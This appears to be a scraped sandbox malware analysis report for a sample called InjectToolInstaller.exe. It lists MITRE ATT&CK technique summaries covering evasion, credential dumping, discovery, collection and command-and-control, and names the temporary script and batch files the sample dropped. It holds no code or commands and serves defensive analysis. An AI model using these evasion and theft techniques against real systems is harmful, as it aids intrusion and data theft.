Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report InjectToolInstaller.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\04disoij.wpj.ps1

C:\Users\user\AppData\Local\Temp\1.bat

C:\Users\user\AppData\Local\Temp\21.mp3

C:\Users\user\AppData\Local\Temp\7zS48C4B291\1.bat

C:\Users\user\AppData\Local\Temp\7zS48C4B291\License.txt

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\gl_birds - Copy.wav

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\gl_birds.wav

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\gl_drums - Copy.wav

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\gl_drums.wav

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\gl_piano - Copy.wav

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\gl_piano.wav

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\gl_sc09 - Copy.wav

Windows Analysis Report
InjectToolInstaller.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre